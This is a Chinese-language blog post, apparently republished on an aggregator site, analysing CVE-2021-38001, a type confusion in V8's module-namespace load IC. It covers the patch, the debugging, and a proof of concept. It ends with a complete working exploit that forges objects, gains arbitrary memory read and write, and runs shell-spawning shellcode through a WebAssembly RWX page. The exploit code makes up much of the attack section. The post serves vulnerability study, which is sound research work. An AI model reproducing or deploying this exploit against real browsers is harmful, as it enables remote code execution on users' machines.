CVE-2021-38001:TianfuCup RCE bug Type confusion in LoadIC::ComputeHandler

文章目录

  • 前言
  • 环境搭建
  • 漏洞分析
  • 漏洞利用
  • 总结
  • 参考

前言

该漏洞在似乎在 bugs.chromium 上没有公开?笔者并没有找到相关漏洞描述,所以这里更多参考了别人的分析。

本文需要一定的 ICs 相关知识,请读者自行先查阅学习,比较简单,就不再赘述了,本文的主要关注点在于漏洞的分析与利用。

环境搭建

官方 patch 如下:

diff --git a/src/ic/accessor-assembler.cc b/src/ic/accessor-assembler.cc
index 0989c61..10c8388 100644
--- a/src/ic/accessor-assembler.cc
+++ b/src/ic/accessor-assembler.cc
@@ -836,8 +836,8 @@Comment("module export");TNode<UintPtrT> index =DecodeWord<LoadHandler::ExportsIndexBits>(handler_word);
-    TNode<Module> module = LoadObjectField<Module>(
-        CAST(p->receiver()), JSModuleNamespace::kModuleOffset);
+    TNode<Module> module =
+        LoadObjectField<Module>(CAST(holder), JSModuleNamespace::kModuleOffset);TNode<ObjectHashTable> exports =LoadObjectField<ObjectHashTable>(module, Module::kExportsOffset);TNode<Cell> cell = CAST(LoadFixedArrayElement(exports, index));
diff --git a/src/ic/ic.cc b/src/ic/ic.cc
index c2926e5..58c75a5 100644
--- a/src/ic/ic.cc
+++ b/src/ic/ic.cc
@@ -996,7 +996,13 @@// We found the accessor, so the entry must exist.DCHECK(entry.is_found());int value_index = ObjectHashTable::EntryToValueIndex(entry);
-        return LoadHandler::LoadModuleExport(isolate(), value_index);
+        Handle<Smi> smi_handler =
+            LoadHandler::LoadModuleExport(isolate(), value_index);
+        if (holder_is_lookup_start_object) {
+          return smi_handler;
+        }
+        return LoadHandler::LoadFromPrototype(isolate(), map, holder,
+                                              smi_handler);}Handle<Object> accessors = lookup->GetAccessors();

这里拉取源码后手动引入漏洞即可:

git checkout b5fa92428c9d4516ebdc72643ea980d8bde8f987
sudo apt install python
gclient sync -D
// 手动引入漏洞
// 其中 args.gn 内容如下,一些内容是手动添加的,主要是为了方便调试
dcheck_always_on = false
is_debug = false
target_cpu = "x64"symbol_level=2
v8_enable_backtrace = true
v8_enable_disassembler = true
v8_enable_object_print = true
v8_enable_verify_heap = true

漏洞分析

两个补丁分别打在了 AccessorAssembler::HandleLoadICSmiHandlerLoadNamedCaseLoadIC::ComputeHandler 中。在 LoadIC::ComputeHandler 中的补丁主要针对于计算 holderJSModuleNamespace 时的 handler

         DCHECK(entry.is_found());int value_index = ObjectHashTable::EntryToValueIndex(entry);
-        return LoadHandler::LoadModuleExport(isolate(), value_index);
+        Handle<Smi> smi_handler =
+            LoadHandler::LoadModuleExport(isolate(), value_index);
+        if (holder_is_lookup_start_object) {
+          return smi_handler;
+        }
+        return LoadHandler::LoadFromPrototype(isolate(), map, holder,
+                                              smi_handler);}

在原来的代码中,是直接返回 LoadHandler::LoadModuleExport(isolate(), value_index),但是在补丁代码中,会检查 holder 是否是 lookup_start_object即确定起始对象是否与当前查找操作的接收者对象相同,如果是则直接返回,不是则调用 LoadFromPrototype 从原型链上加载。

我们先来看下 AccessorAssembler::HandleLoadICSmiHandlerLoadNamedCase 中的补丁,先看下调用链:

Many Load ICs Functions
AccessorAssembler::HandleLoadICHandlerCaseAccessorAssembler::HandleLoadICSmiHandlerCase

AccessorAssembler::HandleLoadICSmiHandlerCase 中补丁关键上下文:

......BIND(&module_export);{Comment("module export");// 对 handler 进行解密(解码)得到 index,这里的 index 是属性的编号TNode<UintPtrT> index = DecodeWord<LoadHandler::ExportsIndexBits>(handler_word);// 获取 module [SourceTextModule]// 注意:这里是直接将 receiver 强转成的 JSModuleNamespace 类型// 注意 receiver 于 holder 的区别TNode<Module> module = LoadObjectField<Module>(CAST(p->receiver()), JSModuleNamespace::kModuleOffset);
//    TNode<Module> module =
//        LoadObjectField<Module>(CAST(holder), JSModuleNamespace::kModuleOffset);// 获取 exports [ObjectHashTable]TNode<ObjectHashTable> exports =LoadObjectField<ObjectHashTable>(module, Module::kExportsOffset);// 获取对于属性的 cell [Cell]TNode<Cell> cell = CAST(LoadFixedArrayElement(exports, index));// The handler is only installed for exports that exist.// 从 cell 中获取属性值 valueTNode<Object> value = LoadCellValue(cell);Label is_the_hole(this, Label::kDeferred);// 判断值是否是 teh_hole,防止泄漏 the_holeGotoIf(IsTheHole(value), &is_the_hole);// 如果不是 the_hole 则返回exit_point->Return(value);BIND(&is_the_hole);{// 是 the_hole 则抛出异常TNode<Smi> message = SmiConstant(MessageTemplate::kNotDefined);exit_point->ReturnCallRuntime(Runtime::kThrowReferenceError, p->context(),message, p->name());}}
......

上述逻辑主要功能就是将 recevier 当作 JSModuleNamespace,然后获取对应的属性值。问题的关键是:recviver 不一定就是 holder

这里就得来看看导入模块对象的内存布局了,考虑如下代码:

// 1.mjs
export let x = {};
export let y = {test:1};
export let z = {};// demo.mjs
import * as exmodule from "1.mjs";
%DebugPrint(exmodule);
%SystemBreak();

来看看 exmodule 的内存结构以及属性 x/y/z 的存储位置,首先 exmodule 是一个 JSModuleNamespace 类型的对象,其中存在一个 module 字段::
在这里插入图片描述
module 存在一个 exports 字段:
在这里插入图片描述
exports 包含了一些 Cell,每一个 Cell 对应一个属性:
在这里插入图片描述
Cell 中的 value 就是属性值
在这里插入图片描述

关于上述代码中的对 handler 解码得到属性 index 可能读者会疑惑,这里来简单看下 JSModuleNamespace 属性加载 ICs 中的 handler 是如何计算出来的:

Handle<Object> LoadIC::ComputeHandler(LookupIterator* lookup) {Handle<Object> receiver = lookup->GetReceiver();ReadOnlyRoots roots(isolate());// 原型链上的第一个对象Handle<Object> lookup_start_object = lookup->lookup_start_object();
......Handle<Map> map = lookup_start_object_map();bool holder_is_lookup_start_object =lookup_start_object.is_identical_to(lookup->GetHolder<JSReceiver>());// 不同的类型状态计算 handlerswitch (lookup->state()) {case LookupIterator::INTERCEPTOR: {......}// 对应 Load 类型的操作,一般会进入 ACCESSOR 分支case LookupIterator::ACCESSOR: {// 获取 holder,这里的 holder 指的是正在被处理的对象Handle<JSObject> holder = lookup->GetHolder<JSObject>();// Use simple field loads for some well-known callback properties.// The method will only return true for absolute truths based on the// lookup start object maps.FieldIndex index;if (Accessors::IsJSObjectFieldAccessor(isolate(), map, lookup->name(), &index)) {TRACE_HANDLER_STATS(isolate(), LoadIC_LoadFieldDH);return LoadHandler::LoadField(isolate(), index);}// 处理的是 JSModuleNamespace 类型if (holder->IsJSModuleNamespace()) {// 获取 exports 字段Handle<ObjectHashTable> exports(Handle<JSModuleNamespace>::cast(holder)->module().exports(), isolate());// 寻找对应属性的 entryInternalIndex entry =exports->FindEntry(isolate(), roots, lookup->name(), Smi::ToInt(lookup->name()->GetHash()));// We found the accessor, so the entry must exist.DCHECK(entry.is_found());// 计算要获取的属性在哈希表中的索引int index = ObjectHashTable::EntryToValueIndex(entry);// 返回 LoadModuleExport handler 函数return LoadHandler::LoadModuleExport(isolate(), index);
//        Handle<Smi> smi_handler =
//            LoadHandler::LoadModuleExport(isolate(), index);
//        if (holder_is_lookup_start_object) {
//          return smi_handler;
//        }
//        return LoadHandler::LoadFromPrototype(isolate(), map, holder,
//                                              smi_handler);}
......Handle<Smi> LoadHandler::LoadModuleExport(Isolate* isolate, int index) {int config =KindBits::encode(kModuleExport) | ExportsIndexBits::encode(index);return handle(Smi::FromInt(config), isolate);
}

可以看到这里的 handler 就是对 index 进行了加密(这里 kModuleExport 是一个固定的枚举值,表示类型,由于其是固定的,所以这里可以直接看成是对 index 的加密)所以上面直接进行解密获取 index 的原理应该是没问题了。但是这里存在一些问题,在补丁代码中可以看到其检查了 holder_is_lookup_start_object,即只有 holderreceiver 才直接返回 smi_handler,否则调用 LoadFromPrototype

如果读者还是很迷,建议看看 ICs 相关源码

然后回到漏洞代码处,在上面我们看到了这里是直接将 receiver 当作了 holderreceiver 代表的是发生属性访问时,发起并接收结果的对象;而 holder 代表的是正在被查询的对象。所以这里的漏洞就是认为 receiverholder 是一样的,而我们知道属性查询是沿着原型链进行的,所以这里 receiverholder 不一定是一样的,比如:

A->B 表示BA的原型
var a = new A();
a.x; ==>1】先在 a 对象上查找 x 属性:receiver = a, holder = a【2】没有在 a 对象上找到 x 属性,则沿着原型链查找 B 对象:reveiver = a, holder = B

然后这里在【2】中会发生类型混淆

接下来就是去写 POC 了,我看网上的 POC 都是通过 super 来触发的,但是仔细分析了该漏洞产生的原因你会发现,这个触发的方式有很多,因为其本质就是在查询原型链的过程中没有区分 receiverholder,下面是我自己写的 POC

// 1.mjs
//export let x = {};
//export let y = {test:1};
//export let z = {};// poc.mjs
import * as exmodule from "1.mjs";
function poc(obj) {return obj.y;
}function trigger() {let target = {};target.__proto__ = exmodule;target.x0 = 0x40404040 / 2;target.x1 = 0x42424242 / 2;target.x2 = 0x44444444 / 2;target.x3 = 0x46464646 / 2;target.x4 = 0x48484848 / 2;let res = poc(target);return res;
}for (let i = 0; i < 11; i++) {trigger();
}

调试一下:
在这里插入图片描述
程序在这里崩溃了,然后可以看到这里应该内存访问错误,因为 r11 = 0x240040404040 是一个没有访问权限的地址,而且这里你仔细观察你会发现 r11 的低 4 字节为 0x40404040,这不就是 target.x0 的值吗?是巧合吗?多测一下就会发现不是巧合。而这里的 r11 是通过上面的 mov r11d, DWORD PTR [rbx+0xb] 获取的,这里的 rbx 指向的就是 target 对象:
在这里插入图片描述
结合上面的漏洞分析,很明显这里发生了类型混淆,这里是把 target 当作了 exmodule 了。

而在上面的代码分析中我们知道从 exmodule [JSModuleNamespace] -> module -> exports -> Cell -> value 是不存在任何检查的,所以我们可以通过控制 target.x0 从而伪造一个 JSModuleNamespace 对象,然后伪造 module -> exports -> Cell -> value 去伪造一个任意地址、任意类型(前提得伪造 map)的对象

但是在笔者伪造的过程中,因为在 V8 中存在指针标记,所以对象地址的 LSB = 1,所以这里的偏移总是要减一,因此这里伪造时,字段偏移搞的笔者非常烦

后面看到了一个比较好的方案,经过调试这里的字段偏移如下:

exmodule -> exports 0x4
exports  -> cell    0x20
cell     -> value   0x4

这里直接看结果吧,考虑如下代码:

import * as exmodule from "1.mjs";
var buf = new ArrayBuffer(8);
var u32 = new Uint32Array(buf);
var f64 = new Float64Array(buf);function pair_u32_to_f64(l, h) {u32[0] = l;u32[1] = h;return f64[0];
}
let obj_prop_ut_fake = {};
for (let i = 0x0; i < 0x11; i++) {obj_prop_ut_fake['x' + i] = pair_u32_to_f64(0x42424242, 0);
}
%DebugPrint(obj_prop_ut_fake);
%SystemBreak();

调试:
在这里插入图片描述
nice 完美匹配,当然你可能会好奇为啥呢?很简单 JSObject + 4 就是 peroperty,而我们可以在 peroperty 中布置大量的 heap_number,这样 peroperty + 0x20 也就是一个 heap_num 地址了,而非常 nice 的是 heap_number + 4 就是我们保存的值,所以我们通过修改 value 即可伪造对象:

真是佩服!!!

在这里插入图片描述

// 1.mjs
//export let x = {};
//export let y = {test:1};
//export let z = {};// poc.mjs
import * as exmodule from "1.mjs";var buf = new ArrayBuffer(8);
var u32 = new Uint32Array(buf);
var f64 = new Float64Array(buf);function pair_u32_to_f64(l, h) {u32[0] = l;u32[1] = h;return f64[0];
}function poc(obj) {return obj.y;
}
let obj_prop_ut_fake = {};
for (let i = 0x0; i < 0x11; i++) {obj_prop_ut_fake['x' + i] = pair_u32_to_f64(0x42424242, 0);
}function trigger() {let target = {};target.__proto__ = exmodule;target.x0 = obj_prop_ut_fake;let res = poc(target);return res;
}let evil;
for (let i = 0; i < 11; i++) {evil = trigger();
}%DebugPrint(evil);

最后输出如下:

DebugPrint: Smi: 0x21212121 (555819297)

可以看到这里成功输出 0x21212121,这里将 0x42424242 修改为伪造的对象地址即可

漏洞利用

在这里学到了一种新的利用方式:

  • 在存在指针压缩的 V8 版本中,可以通过分配大对象去获取一个地址固定的 element,而大对象在 gc 过程中是不会被移动的,所以在利用的过程中不管是否发生 gcelement 的地址都不会变,这使得我们的利用稳定性大大提高了
  • 在加载对象时,仅仅检查了 map 的类型内容,对于其指针内容并没有检查,所以我们可以在大对象中伪造一个 map,而大对象 element 是固定已知的,因此伪造的 map 地址也是固定已知的。这种方式的好处也是提高漏洞利用的稳定性,在之前的利用中,笔者通常是将 map 修改为其它对象的 map,但是其它对象的 map 地址老是改变(可能发生了内存整理等)

最后笔者写利用时还是采用的 super 触发,其实都无所谓,看你自己啦

export let x = {};
export let y = {test:1};
export let z = {};
// 1.mjs
//export let x = {};
//export let y = {test:1};
//export let z = {};// exploit.mjs
import * as exmodule from "1.mjs";function shellcode() {return [1.9553825422107533e-246,1.9560612558242147e-246,1.9995714719542577e-246,1.9533767332674093e-246,2.6348604765229606e-284];
}for (let i = 0; i < 0x10000; i++) {shellcode(); shellcode();shellcode(); shellcode();
}var buf = new ArrayBuffer(8);
var dv  = new DataView(buf);
var u8  = new Uint8Array(buf);
var u32 = new Uint32Array(buf);
var u64 = new BigUint64Array(buf);
var f32 = new Float32Array(buf);
var f64 = new Float64Array(buf);
var roots = new Array(0x30000);
var index = 0;function pair_u32_to_f64(l, h) {u32[0] = l;u32[1] = h;return f64[0];
}function u64_to_f64(val) {u64[0] = val;return f64[0];
}function f64_to_u64(val) {f64[0] = val;return u64[0];
}function set_u64(val) {u64[0] = val;
}function set_l(l) {u32[0] = l;
}function set_h(h) {u32[1] = h;
}function get_u64() {return u64[0];
}function get_f64() {return f64[0];
}function get_fl(val) {f64[0] = val;return u32[0];
}function get_fh(val) {f64[0] = val;return u32[1];
}function add_ref(obj) {roots[index++] = obj;
}function major_gc() {new ArrayBuffer(0x7fe00000);
}function minor_gc() {for (let i = 0; i < 8; i++) {add_ref(new ArrayBuffer(0x200000));}add_ref(new ArrayBuffer(8));
}function hexx(str, val) {console.log(str+": 0x"+val.toString(16));
}function sleep(ms) {return new Promise((resolve) => setTimeout(resolve, ms));
}class C {m() {return super.y;}
}// elements ==> 0x08482119
// data     ==> 0x08482120
// 0x1604040408002119
// 0x0a0007ff11000834
var spray_array = new Array(0xf700);
let data_start_addr = 0x08502119+7;
let map_addr = data_start_addr + 0x1000;
let fake_object_addr = map_addr + 0x1000;
let leak_element_start_addr = 0x08582119;
spray_array[(fake_object_addr-data_start_addr) / 8] = pair_u32_to_f64(map_addr+1, 0x6cd);
spray_array[(fake_object_addr-data_start_addr) / 8 + 1] = pair_u32_to_f64(leak_element_start_addr, 0x8000);
spray_array[(map_addr        -data_start_addr) / 8] = u64_to_f64(0x1604040408002119n);
spray_array[(map_addr        -data_start_addr) / 8 + 1] = u64_to_f64(0x0a0007ff11000834n);var leak_object_array = new Array(0xf700).fill({});//%DebugPrint(spray_array);
//%DebugPrint(leak_object_array);let flag = 0;
let zz = {aa:1, bb:2};
let obj_prop_ut_fake = {};
for (let i = 0x0; i < 0x11; i++) {obj_prop_ut_fake['x' + i] = pair_u32_to_f64(fake_object_addr+1, 0);
}//%DebugPrint(obj_prop_ut_fake);function trigger() {C.prototype.__proto__ = zz;zz.__proto__ = exmodule;let c = new C();c.x0 = obj_prop_ut_fake;//c.x0 = 0x40404040 / 2;//c.x1 = 0x42424242 / 2;//c.x2 = 0x44444444 / 2;//c.x3 = 0x46464646 / 2;//c.x4 = 0x48484848 / 2;if (flag == 10) {//      %DebugPrint(c);//      %DebugPrint(spray_array);//      %DebugPrint(exmodule);//      %SystemBreak();}flag++;let res = c.m();return res;
}let evil;
for (let i = 0; i < 11; i++) {evil = trigger();
}function addressOf(obj) {leak_object_array[0] = obj;spray_array[(fake_object_addr-data_start_addr) / 8 + 1] = pair_u32_to_f64(leak_element_start_addr, 0x8000);return get_fl(evil[0]);}function arb_read_cage(addr) {spray_array[(fake_object_addr-data_start_addr) / 8 + 1] = pair_u32_to_f64(addr-8, 0x8000);return f64_to_u64(evil[0]);
}function arb_write_cage(addr, val) {let oirg_val = arb_read_cage(addr);evil[0] = pair_u32_to_f64(val, orig_val&0xffffffffn)}function arb_write(addr, val) {spray_array[(fake_object_addr-data_start_addr) / 8 + 1] = pair_u32_to_f64(addr-8, 0x8000);evil[0] = u64_to_f64(val)
}var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,142,128,128,128,0,1,136,128,128,128,0,0,65,239,253,182,245,125,11]);var wasm_module = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_module);
var pwn = wasm_instance.exports.main;var sc = [0x2fbb485299583b6an,0x5368732f6e69622fn,0x050f5e5457525f54n
];let wasm_instance_addr = addressOf(wasm_instance);
hexx("wasm_instance_addr", wasm_instance_addr);
let rwx_addr = arb_read_cage(wasm_instance_addr+0x60);
hexx("rwx_addr", rwx_addr);var raw_buf = new ArrayBuffer(0x200);
var dv = new DataView(raw_buf);
let raw_buf_addr = addressOf(raw_buf);
hexx("raw_buf_addr", raw_buf_addr);
arb_write(raw_buf_addr+0x1c, rwx_addr);for (let i = 0; i < sc.length; i++) {dv.setBigInt64(i*8, sc[i], true);
}//%DebugPrint(spray_array);
//%DebugPrint(leak_object_array);
//%DebugPrint(evil);
//%DebugPrint(shellcode);
//let shellcode_addr = addressOf(shellcode);
//%DebugPrint(leak_object_array);
//hexx("shellcode_addr", shellcode_addr);pwn();
//%SystemBreak();

效果如下:
在这里插入图片描述

总结

本次漏洞分析,自己比较满意,最后也成功的靠自己写出了 POC(终于不是直接抄网上的 POC 了,呜呜呜),也成功的抓住了漏洞的本质:在原型链上查询属性时,没有正确区分 holderreceiver 导致的类型混淆。

然后还学习了一种利用方式:利用大对象提高稳定性

参考

cve-2021-38001-分析
[原创]零基础入门V8——CVE-2021-38001漏洞利用

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/293575.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

国内ip怎么来回切换:操作指南与注意事项

在数字化时代&#xff0c;互联网已经成为我们日常生活、学习和工作中不可或缺的一部分。然而&#xff0c;随着网络应用的不断深化&#xff0c;用户对于网络环境的稳定性和安全性要求也越来越高。其中&#xff0c;IP地址作为网络中的关键标识&#xff0c;其切换与管理显得尤为重…

Navicat 干货 | 通过检查约束确保 PostgreSQL 的数据完整性

数据完整性对于任何数据库系统来说都是很重要的一方面&#xff0c;它确保存储的数据保持准确、一致且有意义的。在 PostgreSQL 中&#xff0c;维护数据完整性的一个强大工具是使用检查约束。这些约束允许你定义数据必须遵守的规则&#xff0c;以防止无效数据的插入或修改。本文…

matlab 复制点云

目录 一、概述1、算法概述2、主要函数3、参考文献二、代码实现三、结果展示四、参考链接本文由CSDN点云侠原创,原文链接。如果你不是在点云侠的博客中看到该文章,那么此处便是不要脸的爬虫。 一、概述 1、算法概述

Leetcode 617. 合并二叉树

心路历程&#xff1a; 看到两颗二叉树的问题&#xff0c;第一反应想到了同频遍历&#xff0c;然后每一步创建新的结点&#xff0c;虽然也写出来了但是代码比较长&#xff0c;而且空间复杂度比较高&#xff0c;好处是没有修改原始的两个二叉树的结果。 后来看了网上的解答&…

工业以太网交换机 vs. 常规以太网交换机:全面详细比较

概述 以太网交换机是现代计算机网络中的关键设备&#xff0c;用于连接各种设备&#xff0c;实现数据传输和通信。工业以太网交换机和常规以太网交换机之间存在一些重要区别&#xff0c;涉及到应用环境、设计、性能和功能。让我们深入探讨这些方面&#xff0c;帮助您更好地理解…

kind+tidb

官网介绍&#xff1a;在 Kubernetes 上快速上手 TiDB | PingCAP 文档中心 下面是具体细节&#xff1a; 一、安装 1.安装kind&#xff0c;一定要使用最新版本&#xff01;&#xff01;&#xff01; kind官网&#xff1a;kind – Quick Start curl -Lo ./kind https://kind.s…

国产数据库中统计信息自动更新机制

数据库中统计信息描述的数据库中表和索引的大小数以及数据分布状况&#xff0c;统计信息的准确性对优化器选择执行计划时具有重要的参考意义。本文简要整理了下传统数据库和国产数据库中统计信息的自动更新机制&#xff0c;以加深了解。 1、数据库统计信息介绍 优化器是数据库…

代码随想录训练营day27

第七章 回溯算法part03 1.LeetCode. 1.1题目链接&#xff1a;39. 组合总和 文章讲解&#xff1a;代码随想录 视频讲解&#xff1a;B站卡哥视频 1.2思路&#xff1a;题目中的无限制重复被选取&#xff0c;吓得我赶紧想想 出现0 可咋办&#xff0c;然后看到下面提示&#xff…

boost::asio::ip::tcp/udp::socket::release 函数为什么限制 Windows 8.1 才可以调用?

如本文题目所示&#xff0c;这是因为只有在 Windows 8.1&#xff08;Windows Server 2012 RC&#xff09;及以上 Windows 操作版本才提供了运行时&#xff0c;修改/删除完成端口关联的ABI接口。 boost::asio 在 release 函数底层实现之中是调用了 FileReplaceCompletionInform…

【Linux】权限理解

权限理解 1. shell命令以及运行原理2. Linux权限的概念3. Linux权限管理3.1 文件访问者的分类&#xff08;人&#xff09;3.2 文件类型和访问权限&#xff08;事物属性&#xff09;3.2.1 文件类型3.2.2 基本权限 3.3 文件权限值的表示方法3.4 文件访问权限的相关设置方法3.4.1 …

【医学嵌入模型】中文医疗文本处理大模型 PCL-MedBERT

中文医疗文本处理大模型 PCL-MedBERT 提出背景对ELECTRA限制的深入分析eHealth的创新方法实体识别关系抽取 总结 最近再做医学项目&#xff0c;需要从文本中抽取医学概念和关系&#xff0c;通用模型的抽取效果还可以。 但还想找医学嵌入模型&#xff0c;能够更准确地从文本中识…

【题解】—— LeetCode一周小结13

【题解】—— 每日一道题目栏 上接&#xff1a;【题解】—— LeetCode一周小结12 25.零钱兑换 II 题目链接&#xff1a;518. 零钱兑换 II 给你一个整数数组 coins 表示不同面额的硬币&#xff0c;另给一个整数 amount 表示总金额。 请你计算并返回可以凑成总金额的硬币组合…

SpringMVC设置全局异常处理器

文章目录 背景分析使用ControllerAdvice&#xff08;RestControllerAdvice&#xff09;ExceptionHandler实现全局异常全局异常处理-多个处理器匹配顺序存在一个类中存在不同的类中 对于过滤器和拦截器中的异常&#xff0c;有两种思路可以考虑 背景 在项目中我们有需求做一个全…

什么是HTTP? HTTP 和 HTTPS 的区别?

文章目录 一、HTTP二、HTTPS三、区别参考文献 一、HTTP HTTP (HyperText Transfer Protocol)&#xff0c;即超文本运输协议&#xff0c;是实现网络通信的一种规范 在计算机和网络世界有&#xff0c;存在不同的协议&#xff0c;如广播协议、寻址协议、路由协议等等… 而HTTP是…

【Blockchain】GameFi | NFT

Blockchain GameFiGameFi顶级项目TheSandbox&#xff1a;Decentraland&#xff1a;Axie Infinity&#xff1a; NFTNFT是如何工作的同质化和非同质化区块链协议NFT铸币 GameFi GameFi是游戏和金融的组合&#xff0c;它涉及区块链游戏&#xff0c;对玩家提供经济激励&#xff0c…

Linux——进程管理

目录 作业和进程的概念 程序与进程的关系 查看进程信息——ps&#xff0c;top ps命令 top命令 设置进程的优先级——nice&#xff0c;renice nice命令 renice命令 查看进程信息——pgrep&#xff0c;pstree pgrep命令 pstree命令 切换进程——jobs&#xff0c;bg&a…

mybatis 一对多的连接查询

4.1 嵌套查询 vs 连接查询sql不同:连接查询:涉及多表连接, 当出现重复列时 需要对重复的列进行 列的重命名嵌套查询: 就是单表查询参与的mapper文件不同:连接查询: 在一个mapper文件中 配置即可嵌套查询: 需要 在 association或collection 中 通过 select 调用 另外的mapper…

蓝桥杯算法题-正则问题

问题描述 考虑一种简单的正则表达式&#xff1a; 只由 x ( ) | 组成的正则表达式。 小明想求出这个正则表达式能接受的最长字符串的长度。 例如 ((xx|xxx)x|(x|xx))xx 能接受的最长字符串是&#xff1a; xxxxxx&#xff0c;长度是 6。 输入格式 一个由 x()| 组成的正则表达式。…

MySQL事务与锁

什么是事务 事务是数据库管理系统&#xff08;DBMS&#xff09;执行过程中的一个逻辑单位&#xff0c;由一个有限的数据库操作序列构成。 事务的4大特性&#xff1a; 原子性&#xff08;Atomicity&#xff09;一致性&#xff08;Consistent&#xff09;隔离性&#xff08;lso…